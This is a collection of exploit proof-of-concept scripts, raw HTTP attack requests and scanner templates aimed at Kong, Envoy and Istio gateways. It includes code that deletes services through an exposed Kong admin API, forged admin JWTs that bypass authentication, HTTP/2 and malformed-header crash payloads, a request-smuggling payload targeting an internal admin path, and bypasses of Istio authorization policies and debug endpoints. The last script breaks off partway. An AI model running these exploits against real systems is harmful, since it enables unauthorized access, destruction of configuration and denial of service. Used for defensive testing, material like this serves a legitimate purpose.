GET /services HTTP/1.1
Host: target-kong:8001
Accept: application/json

GET /plugins HTTP/1.1
Host: target-kong:8001
Accept: application/json

DELETE /services/example-service HTTP/1.1
Host: target-kong:8001

#!/usr/bin/env python3
import argparse
import json
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔══════════════════════════════════════════════╗
║  CVE-2020-11710 Kong Admin API Exposure PoC ║
╚══════════════════════════════════════════════╝
"""

def check_vulnerability(target, timeout=10):
    results = {"target": target, "vulnerable": False, "services": [], "plugins": []}
    try:
        r = requests.get(f"{target}/services", timeout=timeout, verify=False)
        if r.status_code == 200:
            data = r.json()
            results["services"] = [s.get("name", "unknown") for s in data.get("data", [])]
            results["vulnerable"] = True
    except requests.RequestException as e:
        results["error"] = str(e)
        return results

    try:
        r = requests.get(f"{target}/plugins", timeout=timeout, verify=False)
        if r.status_code == 200:
            data = r.json()
            results["plugins"] = [
                {"name": p.get("name"), "enabled": p.get("enabled")}
                for p in data.get("data", [])
            ]
    except requests.RequestException:
        pass

    return results

def exploit_delete_routes(target, service_name, timeout=10):
    url = f"{target}/services/{service_name}"
    try:
        r = requests.delete(url, timeout=timeout, verify=False)
        return {"action": "delete_service", "status": r.status_code, "success": r.status_code == 204}
    except requests.RequestException as e:
        return {"action": "delete_service", "error": str(e)}

def main():
    parser = argparse.ArgumentParser(description="CVE-2020-11710 Kong Admin API Exposure PoC")
    parser.add_argument("-t", "--target", required=True, help="Kong Admin API base URL (e.g., http://target:8001)")
    parser.add_argument("-c", "--check", action="store_true", help="Check for vulnerability only")
    parser.add_argument("-d", "--delete-service", help="Delete a specific service by name")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout in seconds")
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")

    print(f"[*] Target: {target}")
    print(f"[*] Checking Admin API exposure...")

    results = check_vulnerability(target, args.timeout)

    if results["vulnerable"]:
        print(f"[+] VULNERABLE! Admin API is exposed without authentication.")
        print(f"[+] Found {len(results['services'])} services: {', '.join(results['services'])}")
        print(f"[+] Found {len(results['plugins'])} plugins enabled.")
        for p in results["plugins"]:
            print(f"    - {p['name']} (enabled: {p['enabled']})")
    else:
        print(f"[-] Not vulnerable or Admin API not accessible.")
        if "error" in results:
            print(f"[-] Error: {results['error']}")
        sys.exit(0)

    if args.delete_service:
        print(f"[*] Attempting to delete service: {args.delete_service}")
        res = exploit_delete_routes(target, args.delete_service, args.timeout)
        if res.get("success"):
            print(f"[+] Successfully deleted service: {args.delete_service}")
        else:
            print(f"[-] Deletion failed: {res}")

    print(f"\n[+] Full results:")
    print(json.dumps(results, indent=2, ensure_ascii=False))

if __name__ == "__main__":
    main()

id: cve-2020-11710-kong-admin-api

info:
  name: Kong Gateway - Admin API Unauthenticated Access
  author: security-researcher
  severity: critical
  description: Kong Admin API is exposed without authentication, allowing unauthenticated access to route/service/plugin configurations.
  reference:
    - https://github.com/Kong/kong/security/advisories/GHSA-2825-3cmw-2j8c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11710
    cwe-id: CWE-306
  metadata:
    max-request: 2
  tags: cve,cve2020,kong,api,exposure,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/services"
      - "{{BaseURL}}/plugins"
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - '"data"'
          - '"total"'
        condition: and
      - type: word
        part: header
        words:
          - "application/json"

    extractors:
      - type: json
        name: services
        json:
          - '.data[].name'

GET /protected-api/userinfo HTTP/1.1
Host: target-kong.com
Authorization:

# 利用空 Authorization 头 + jwt 参数绕过
curl -v "https://target-kong.com/protected-api/userinfo?jwt=invalid"

#!/usr/bin/env python3
import argparse
import json
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔══════════════════════════════════════════════════╗
║  CVE-2021-27306 Kong JWT Plugin Bypass PoC     ║
╚══════════════════════════════════════════════════╝
"""

def test_jwt_bypass(target, path, timeout=10):
    results = {"target": target, "path": path, "bypassed": False, "tests": []}
    
    payloads = [
        {"desc": "Empty Authorization header", "headers": {"Authorization": ""}},
        {"desc": "Authorization with Bearer empty", "headers": {"Authorization": "Bearer "}},
        {"desc": "Empty header + jwt param", "headers": {"Authorization": ""}, "params": {"jwt": "test"}},
        {"desc": "Bearer invalid + jwt param", "headers": {"Authorization": "Bearer invalid"}, "params": {"jwt": "test"}},
    ]
    
    baseline_url = f"{target}{path}"
    try:
        r = requests.get(baseline_url, timeout=timeout, verify=False)
        baseline_status = r.status_code
    except requests.RequestException as e:
        results["error"] = str(e)
        return results
    
    for payload in payloads:
        headers = payload.get("headers", {})
        params = payload.get("params", {})
        try:
            r = requests.get(baseline_url, headers=headers, params=params, timeout=timeout, verify=False)
            test_result = {
                "desc": payload["desc"],
                "status_code": r.status_code,
                "content_length": len(r.content),
                "bypassed": r.status_code == 200 and r.status_code != baseline_status,
            }
            if r.status_code == 200 and (baseline_status == 401 or baseline_status == 403):
                test_result["bypassed"] = True
                results["bypassed"] = True
        except requests.RequestException as e:
            test_result = {"desc": payload["desc"], "error": str(e)}
        results["tests"].append(test_result)
    
    return results

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-27306 Kong JWT Plugin Bypass PoC")
    parser.add_argument("-t", "--target", required=True, help="Target base URL")
    parser.add_argument("-p", "--path", default="/", help="Protected endpoint path")
    parser.add_argument("--timeout", type=int, default=10, help="Request timeout")
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    
    print(f"[*] Target: {target}{args.path}")
    print(f"[*] Testing JWT plugin bypass...")
    
    results = test_jwt_bypass(target, args.path, args.timeout)
    
    if results.get("bypassed"):
        print(f"[+] VULNERABLE! JWT bypass successful!")
    else:
        print(f"[-] JWT bypass not successful with tested payloads.")
    
    for t in results.get("tests", []):
        status = "[+]" if t.get("bypassed") else "[-]"
        print(f"  {status} {t.get('desc', 'N/A')} -> HTTP {t.get('status_code', 'ERR')}")
    
    print(f"\n[+] Full results:")
    print(json.dumps(results, indent=2, ensure_ascii=False))

if __name__ == "__main__":
    main()

id: cve-2021-27306-kong-jwt-bypass

info:
  name: Kong Gateway - JWT Plugin Authentication Bypass
  author: security-researcher
  severity: high
  description: Kong JWT plugin allows unauthenticated access to protected routes via empty Authorization header.
  reference:
    - https://discuss.konghq.com/t/kong-jwt-plugin-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-27306
    cwe-id: CWE-287
  metadata:
    max-request: 2
  tags: cve,cve2021,kong,jwt,bypass,auth

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/?jwt=test"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "data"
        negative: false

    extractors:
      - type: dsl
        dsl:
          - '"HTTP " + status_code + " | Length: " + content_length'

GET /api/user/profile HTTP/1.1
Host: target-envoy.com
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.

# 构造空签名 JWT Token
python3 -c "
import base64, json
header = base64.urlsafe_b64encode(json.dumps({'alg':'RS256','typ':'JWT'}).encode()).rstrip(b'=').decode()
payload = base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=').decode()
print(f'Authorization: Bearer {header}.{payload}.')
"

#!/usr/bin/env python3
import argparse
import base64
import json
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔═══════════════════════════════════════════════════╗
║  CVE-2023-35941 Envoy JWT Token Bypass PoC      ║
╚═══════════════════════════════════════════════════╝
"""

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

def craft_empty_sig_token(sub="admin", role="admin"):
    header = b64url_encode(json.dumps({"alg": "RS256", "typ": "JWT"}).encode())
    payload = b64url_encode(json.dumps({"sub": sub, "role": role}).encode())
    return f"{header}.{payload}."

def test_jwt_bypass(target, path, timeout=10):
    results = {"target": target, "path": path, "bypassed": False, "tests": []}
    
    token = craft_empty_sig_token()
    baseline_url = f"{target}{path}"
    
    try:
        r = requests.get(baseline_url, timeout=timeout, verify=False)
        baseline_status = r.status_code
    except requests.RequestException as e:
        results["error"] = str(e)
        return results
    
    test_cases = [
        {"desc": "Empty signature JWT", "token": token},
        {"desc": "None algorithm JWT", "token": craft_none_alg_token()},
    ]
    
    for tc in test_cases:
        headers = {"Authorization": f"Bearer {tc['token']}"}
        try:
            r = requests.get(baseline_url, headers=headers, timeout=timeout, verify=False)
            result = {
                "desc": tc["desc"],
                "token_prefix": tc["token"][:50] + "...",
                "status_code": r.status_code,
                "content_length": len(r.content),
            }
            if r.status_code == 200 and baseline_status in (401, 403):
                result["bypassed"] = True
                results["bypassed"] = True
        except requests.RequestException as e:
            result = {"desc": tc["desc"], "error": str(e)}
        results["tests"].append(result)
    
    return results

def craft_none_alg_token():
    header = b64url_encode(json.dumps({"alg": "none", "typ": "JWT"}).encode())
    payload = b64url_encode(json.dumps({"sub": "admin", "role": "admin"}).encode())
    return f"{header}.{payload}."

def main():
    parser = argparse.ArgumentParser(description="CVE-2023-35941 Envoy JWT Bypass PoC")
    parser.add_argument("-t", "--target", required=True, help="Target base URL")
    parser.add_argument("-p", "--path", default="/", help="Protected path")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}{args.path}")
    print(f"[*] Crafted empty-sig token: {craft_empty_sig_token()[:60]}...")
    print(f"[*] Testing JWT bypass...")
    
    results = test_jwt_bypass(target, args.path, args.timeout)
    
    if results.get("bypassed"):
        print(f"[+] VULNERABLE! JWT bypass confirmed!")
    else:
        print(f"[-] Bypass not successful with tested payloads.")
    
    for t in results.get("tests", []):
        status = "[+]" if t.get("bypassed") else "[-]"
        print(f"  {status} {t.get('desc')} -> HTTP {t.get('status_code', 'ERR')}")
    
    print(f"\n[+] Full results:")
    print(json.dumps(results, indent=2, ensure_ascii=False))

if __name__ == "__main__":
    main()

id: cve-2023-35941-envoy-jwt-bypass

info:
  name: Envoy Proxy - JWT Token Empty Signature Bypass
  author: security-researcher
  severity: high
  description: Envoy JWT filter allows authentication bypass via empty signature JWT tokens.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2023-35941
    cwe-id: CWE-287
  metadata:
    max-request: 2
  tags: cve,cve2023,envoy,jwt,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      Authorization: "Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIn0."

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "admin"
        negative: false

    extractors:
      - type: dsl
        dsl:
          - '"JWT bypass possible - HTTP " + status_code'

POST / HTTP/2
Host: target-envoy.com
:method: POST
:path: /
:scheme: https
:method: POST
:path: /
:scheme: https
:method: POST
:path: /
:scheme: https
Content-Type: application/json

{}

#!/usr/bin/env python3
import argparse
import socket
import ssl
import struct
import sys

BANNER = """
╔══════════════════════════════════════════════════════╗
║  CVE-2021-32777 Envoy HTTP/2 Integer Overflow PoC  ║
╚══════════════════════════════════════════════════════╝
"""

def build_headers_frame(num_headers):
    frame_type = 0x01
    flags = 0x04
    stream_id = 0x00000001
    header_block = b""
    for i in range(num_headers):
        name = f"x-test-header-{i}"
        value = "A" * 100
        header_block += b"\x00" + len(name).to_bytes(1, "big") + name.encode() + len(value).to_bytes(1, "big") + value.encode()
    length = len(header_block)
    frame = struct.pack(">I", length)[1:] + struct.pack("B", frame_type) + struct.pack("B", flags) + struct.pack(">I", stream_id) + header_block
    return frame

def send_h2_frame(target, port, num_headers, use_tls=False):
    frame = build_headers_frame(num_headers)
    preface = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
    try:
        raw_sock = socket.create_connection((target, port), timeout=10)
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(raw_sock, server_hostname=target)
        else:
            sock = raw_sock
        sock.send(preface + frame)
        try:
            response = sock.recv(4096)
            return {"sent": True, "response_length": len(response), "headers_count": num_headers}
        except socket.timeout:
            return {"sent": True, "response_length": 0, "headers_count": num_headers, "note": "timeout - possible crash"}
    except Exception as e:
        return {"sent": False, "error": str(e), "headers_count": num_headers}

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-32777 Envoy HTTP/2 Integer Overflow PoC")
    parser.add_argument("-t", "--target", required=True, help="Target host")
    parser.add_argument("-p", "--port", type=int, default=443, help="Target port")
    parser.add_argument("--tls", action="store_true", help="Use TLS")
    parser.add_argument("--count", type=int, default=64, help="Number of headers to send")
    args = parser.parse_args()

    print(BANNER)
    print(f"[*] Target: {args.target}:{args.port}")
    print(f"[*] Sending HEADERS frame with {args.count} headers...")

    result = send_h2_frame(args.target, args.port, args.count, args.tls)
    if result.get("response_length", 0) == 0 and result.get("sent"):
        print(f"[+] Target may be vulnerable - no response received (possible crash)")
    else:
        print(f"[-] Target responded with {result.get('response_length', 'N/A')} bytes")
    print(f"[*] Result: {result}")

if __name__ == "__main__":
    main()

id: cve-2021-32777-envoy-integer-overflow

info:
  name: Envoy Proxy - HTTP/2 Headers Integer Overflow
  author: security-researcher
  severity: high
  description: Envoy crashes when processing HTTP/2 HEADERS frame with excessive headers causing integer overflow.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
    cvss-score: 8.6
    cve-id: CVE-2021-32777
    cwe-id: CWE-190
  metadata:
    max-request: 1
  tags: cve,cve2021,envoy,http2,dos

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    headers:
      X-Test-Header-1: "A"
      X-Test-Header-2: "A"
      X-Test-Header-3: "A"
      X-Test-Header-4: "A"
      X-Test-Header-5: "A"
      X-Test-Header-6: "A"
      X-Test-Header-7: "A"
      X-Test-Header-8: "A"
      X-Test-Header-9: "A"
      X-Test-Header-10: "A"
      X-Test-Header-11: "A"
      X-Test-Header-12: "A"
      X-Test-Header-13: "A"
      X-Test-Header-14: "A"
      X-Test-Header-15: "A"
      X-Test-Header-16: "A"
      X-Test-Header-17: "A"
      X-Test-Header-18: "A"
      X-Test-Header-19: "A"
      X-Test-Header-20: "A"
      X-Test-Header-21: "A"
      X-Test-Header-22: "A"
      X-Test-Header-23: "A"
      X-Test-Header-24: "A"
      X-Test-Header-25: "A"
      X-Test-Header-26: "A"
      X-Test-Header-27: "A"
      X-Test-Header-28: "A"
      X-Test-Header-29: "A"
      X-Test-Header-30: "A"
      X-Test-Header-31: "A"
      X-Test-Header-32: "A"
      X-Test-Header-33: "A"
      X-Test-Header-34: "A"
      X-Test-Header-35: "A"
      X-Test-Header-36: "A"
      X-Test-Header-37: "A"
      X-Test-Header-38: "A"
      X-Test-Header-39: "A"
      X-Test-Header-40: "A"
      X-Test-Header-41: "A"
      X-Test-Header-42: "A"
      X-Test-Header-43: "A"
      X-Test-Header-44: "A"
      X-Test-Header-45: "A"
      X-Test-Header-46: "A"
      X-Test-Header-47: "A"
      X-Test-Header-48: "A"
      X-Test-Header-49: "A"
      X-Test-Header-50: "A"
      X-Test-Header-51: "A"
      X-Test-Header-52: "A"
      X-Test-Header-53: "A"
      X-Test-Header-54: "A"
      X-Test-Header-55: "A"
      X-Test-Header-56: "A"
      X-Test-Header-57: "A"
      X-Test-Header-58: "A"
      X-Test-Header-59: "A"
      X-Test-Header-60: "A"
      X-Test-Header-61: "A"
      X-Test-Header-62: "A"
      X-Test-Header-63: "A"
      X-Test-Header-64: "A"

    matchers:
      - type: status
        status:
          - 502
          - 503
          - 000

GET / HTTP/1.1
Host: target-envoy.com
X-Injected-Metric: AAAA... (256+ bytes)

#!/usr/bin/env python3
import argparse
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔═══════════════════════════════════════════════════╗
║  CVE-2026-48706 Envoy Heap Overflow PoC         ║
╚═══════════════════════════════════════════════════╝
"""

def test_heap_overflow(target, timeout=10):
    results = {"target": target, "tests": []}
    baseline_url = f"{target}/"
    try:
        r = requests.get(baseline_url, timeout=timeout, verify=False)
        results["baseline_status"] = r.status_code
    except requests.RequestException as e:
        results["error"] = str(e)
        return results

    payloads = [
        {"desc": "Normal request (baseline)", "header_value": "normal"},
        {"desc": "Long metric tag (300 bytes)", "header_value": "A" * 300},
        {"desc": "Long metric tag (512 bytes)", "header_value": "B" * 512},
        {"desc": "Long metric tag (1024 bytes)", "header_value": "C" * 1024},
    ]
    for p in payloads:
        headers = {"X-Metric-Tag": p["header_value"]}
        try:
            r = requests.get(baseline_url, headers=headers, timeout=timeout, verify=False)
            results["tests"].append({
                "desc": p["desc"],
                "status_code": r.status_code,
                "content_length": len(r.content),
            })
        except requests.RequestException as e:
            results["tests"].append({"desc": p["desc"], "error": str(e)})
    return results

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-48706 Envoy Heap Overflow PoC")
    parser.add_argument("-t", "--target", required=True, help="Target base URL")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}")
    print(f"[*] Testing heap overflow via long metric tags...")

    results = test_heap_overflow(target, args.timeout)
    for t in results.get("tests", []):
        status = "[+]" if "error" not in t else "[-]"
        print(f"  {status} {t.get('desc')} -> HTTP {t.get('status_code', 'ERR')}")
    print(f"\n[+] Results: {results}")

if __name__ == "__main__":
    main()

id: cve-2026-48706-envoy-heap-overflow

info:
  name: Envoy Proxy - TcpStatsdSink Heap Overflow
  author: security-researcher
  severity: high
  description: Envoy TcpStatsdSink heap buffer overflow via long metric tags enabling potential RCE.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2026-48706
    cwe-id: CWE-122
  metadata:
    max-request: 1
  tags: cve,cve2026,envoy,heap,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      X-Metric-Tag: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

    matchers:
      - type: status
        status:
          - 502
          - 503
          - 000

POST /api/data HTTP/1.1
Host: backend-service.internal
Content-Length: 6
Transfer-Encoding: chunked

0

GPOST /admin/internal HTTP/1.1
Host: backend-service.internal
Content-Length: 3

X=Y

#!/usr/bin/env python3
import argparse
import socket
import ssl
import sys

BANNER = """
╔════════════════════════════════════════════════════╗
║  CVE-2026-48743 Envoy HTTP Request Smuggling PoC ║
╚════════════════════════════════════════════════════╝
"""

def build_smuggle_payload():
    body = "0\r\n\r\nGPOST /admin/internal HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\n\r\nX=Y"
    request = f"POST /api/data HTTP/1.1\r\nHost: target\r\nContent-Length: {len(body)}\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\n\r\n{body}"
    return request.encode()

def send_request(target, port, payload, use_tls=False):
    try:
        raw_sock = socket.create_connection((target, port), timeout=10)
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            sock = ctx.wrap_socket(raw_sock, server_hostname=target)
        else:
            sock = raw_sock
        sock.send(payload)
        try:
            response = sock.recv(4096)
            return {"sent": True, "response": response.decode(errors="replace")[:500]}
        except socket.timeout:
            return {"sent": True, "note": "timeout"}
    except Exception as e:
        return {"sent": False, "error": str(e)}

def main():
    parser = argparse.ArgumentParser(description="CVE-2026-48743 Envoy HTTP Request Smuggling PoC")
    parser.add_argument("-t", "--target", required=True, help="Target host")
    parser.add_argument("-p", "--port", type=int, default=443, help="Target port")
    parser.add_argument("--tls", action="store_true", help="Use TLS")
    args = parser.parse_args()

    print(BANNER)
    print(f"[*] Target: {args.target}:{args.port}")
    payload = build_smuggle_payload()
    print(f"[*] Sending smuggled request ({len(payload)} bytes)...")
    result = send_request(args.target, args.port, payload, args.tls)
    if result.get("sent"):
        print(f"[+] Request sent. Check for signs of smuggling.")
        if result.get("response"):
            print(f"[*] Response preview: {result['response'][:200]}")
    else:
        print(f"[-] Failed: {result.get('error')}")
    print(f"[*] Result: {result}")

if __name__ == "__main__":
    main()

id: cve-2026-48743-envoy-request-smuggling

info:
  name: Envoy Proxy - HTTP/3 to HTTP/1 Request Smuggling
  author: security-researcher
  severity: high
  description: Envoy HTTP/3 to HTTP/1.1 downgrade enables request smuggling via Transfer-Encoding ambiguity.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-48743
    cwe-id: CWE-444
  metadata:
    max-request: 1
  tags: cve,cve2026,envoy,smuggling,http

http:
  - method: POST
    path:
      - "{{BaseURL}}/api/data"
    headers:
      Transfer-Encoding: "chunked, identity"
      Content-Type: "text/plain"
    body: "0\r\n\r\nGPOST /admin/internal HTTP/1.1\r\nHost: {{Hostname}}\r\nContent-Length: 3\r\n\r\nX=Y"
    matchers:
      - type: word
        words:
          - "502"
          - "400"
          - "403"
        condition: or

GET /debug/adsz HTTP/1.1
Host: target-istiod:15012
Accept: */*

GET /debug/connectionsz HTTP/1.1
Host: target-istiod:15012
Accept: */*

#!/usr/bin/env python3
import argparse
import json
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔══════════════════════════════════════════════════════╗
║  CVE-2021-31921 Istio istiod Unauthorized PoC      ║
╚══════════════════════════════════════════════════════╝
"""

ENDPOINTS = [
    ("/debug/adsz", "ADS config dump"),
    ("/debug/connectionsz", "Connection stats"),
    ("/debug/syncz", "Sync status"),
]

def check_istiod(target, timeout=10):
    results = {"target": target, "vulnerable": False, "accessible_endpoints": []}
    for path, desc in ENDPOINTS:
        url = f"{target}{path}"
        try:
            r = requests.get(url, timeout=timeout, verify=False)
            if r.status_code == 200:
                results["vulnerable"] = True
                results["accessible_endpoints"].append({
                    "path": path,
                    "description": desc,
                    "status_code": r.status_code,
                    "content_length": len(r.content),
                    "preview": r.text[:200],
                })
                print(f"[+] ACCESSIBLE: {path} ({desc}) - {len(r.content)} bytes")
            else:
                print(f"[-] {path} -> HTTP {r.status_code}")
        except requests.RequestException as e:
            print(f"[-] {path} -> Error: {e}")
    return results

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-31921 Istio istiod Unauthorized PoC")
    parser.add_argument("-t", "--target", required=True, help="istiod base URL (e.g., http://istiod:15012)")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}")

    results = check_istiod(target, args.timeout)
    if results["vulnerable"]:
        print(f"\n[+] VULNERABLE! istiod debug endpoints exposed without auth!")
        print(f"[+] Accessible: {len(results['accessible_endpoints'])} endpoints")
    else:
        print(f"\n[-] Not vulnerable or istiod not accessible.")
    print(f"\n[+] Full results:")
    print(json.dumps(results, indent=2, ensure_ascii=False))

if __name__ == "__main__":
    main()

id: cve-2021-31921-istio-istiod-unauth

info:
  name: Istio istiod - Unauthenticated Debug Endpoint Access
  author: security-researcher
  severity: critical
  description: Istio istiod debug endpoints exposed without authentication, leaking cluster configs and certificates.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31921
    cwe-id: CWE-306
  metadata:
    max-request: 3
  tags: cve,cve2021,istio,istiod,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/debug/adsz"
      - "{{BaseURL}}/debug/connectionsz"
      - "{{BaseURL}}/debug/syncz"
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        part: body
        words:
          - "typeURL"
          - "connectionId"
          - "proxy"
        condition: or

apiVersion: security.istio.io/v1beta1
kind: AuthorizationPolicy
metadata:
  name: deny-admin
spec:
  selector:
    matchLabels:
      app: backend
  rules:
    - to:
        - operation:
            hosts: ["backend.internal"]
            paths: ["/admin/*"]

GET /admin/users HTTP/1.1
HOST: BACKEND.INTERNAL

GET /index.html#/admin/secret HTTP/1.1
Host: backend.internal

#!/usr/bin/env python3
import argparse
import json
import sys
import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

BANNER = """
╔══════════════════════════════════════════════════════════╗
║  CVE-2021-39155/39156 Istio AuthZ Policy Bypass PoC   ║
╚══════════════════════════════════════════════════════════╝
"""

def test_authz_bypass(target, host_header, timeout=10):
    results = {"target": target, "host": host_header, "tests": []}
    payloads = [
        {"desc": "Normal Host header", "headers": {"Host": host_header}},
        {"desc": "Uppercase HOST header", "headers": {"HOST": host_header.upper()}},
        {"desc": "Mixed case HoSt header", "headers": {"HoSt": host_header}},
        {"desc": "Path with # fragment", "path": "/index.html#/admin", "headers": {"Host": host_header}},
        {"desc": "Path traversal + fragment", "path": "/static/../../admin/secret", "headers": {"Host": host_header}},
    ]
    for p in payloads:
        path = p.get("path", "/admin")
        url = f"{target}{path}"
        headers = p["headers"]
        try:
            r = requests.get(url, headers=headers, timeout=timeout, verify=False)
            results["tests"].append({
                "desc": p["desc"],
                "path": path,
                "host_value": headers.get("Host", headers.get("HOST", "")),
                "status_code": r.status_code,
                "content_length": len(r.content),
            })
        except requests.RequestException as e:
            results["tests"].append({"desc": p["desc"], "error": str(e)})
    return results

def main():
    parser = argparse.ArgumentParser(description="CVE-2021-39155/39156 Istio AuthZ Bypass PoC")
    parser.add_argument("-t", "--target", required=True, help="Target URL")
    parser.add_argument("--host", required=True, help="Legitimate Host header value")
    parser.add_argument("--timeout", type=int, default=10)
    args = parser.parse_args()

    print(BANNER)
    target = args.target.rstrip("/")
    print(f"[*] Target: {target}")
    print(f"[*] Host: {args.host}")

    results = test_authz_bypass(target, args.host, args.timeout)
    for t in results.get("tests", []):
        print(f"  [-] {t.get('desc')} -> HTTP {t.get('status_code', 'ERR')}")
    print(f"\n[+] Full results:")
    print(json.dumps(results, indent=2, ensure_ascii=False))

if __name__ == "__main__":
    main()

id: cve-2021-39155-39156-istio-authz-bypass

info:
  name: Istio - AuthorizationPolicy Host/URI Bypass
  author: security-researcher
  severity: high
  description: Istio AuthorizationPolicy can be bypassed via Host header case manipulation and URI fragment injection.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.3
    cve-id: CVE-2021-39155
    cwe-id: CWE-863
  metadata:
    max-request: 2
  tags: cve,cve2021,istio,authz,bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/admin"
      - "{{BaseURL}}/index.html#/admin"

    headers:
      HOST: "{{Hostname}}"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 403
      - type: word
        part: body
        words:
          - "admin"
        negative: false

GET / HTTP/1.1
Host: target-istio.com
:  : empty-header-name

# 使用 h2c 发送畸形 header
curl -H $':\x00: malformed' http://target-istio.com/

#!/usr/bin/env python3
import argparse
import socket
import sys

BANNER = """
╔════════════════════════════════════════════════════╗
║  CVE-2022-31045 Istio HTTP Header NPE PoC        ║
╚════════════════════════════════════════════════════╝
"""

def test_header_npe(target, port, use_tls=False):
    results = {"target": target, "tests": []}
    payloads = [
        {"desc": "Normal request", "raw": f"GET / HTTP/1.1\r\nHost: {target}\r\nConnection: close\r\n\r\n"},
        {"desc": "Empty header name", "raw": f"GET / HTTP/1.1\r\nHost: {target}\r\n: value\r\nConnection: close\r\n\r\n"},
        {"desc": "NUL byte in header", "raw": f"GET / HTTP/1.1\r\nHost: {target}\r\nX-Test: val\x00ue\r\nConnection: close\r\n\r\n"},
    ]
    for p in payloads:
        try:
            raw_sock = socket.create_connection((target, port), timeout=5)
            if use_tls:
                import ssl
                ctx = ssl.create_default_context()
                ctx.check_hostname = False
                ctx.verify_mode = ssl.CERT_NONE
                sock = ctx.wrap_socket(raw_sock, server_hostname=target)
            else:
                sock = raw_sock
            sock.send(p["raw"].encode())
            try:
                resp = sock.recv(4096)
                results["tests"].append({"desc": p["desc"], "response_length": len(resp), "status": "ok"})
            except socket.timeout:
                results["tests"].append({"desc": p["desc"], "status": "timeout-possible-crash"})
            sock.close()
        except Exception as e:
            results["tests"].append({"desc": p["desc"], "error": str(e)})
    return results

def main():
    parser = argparse.ArgumentParser(description="CVE-2022-31045 Istio Header NPE PoC")
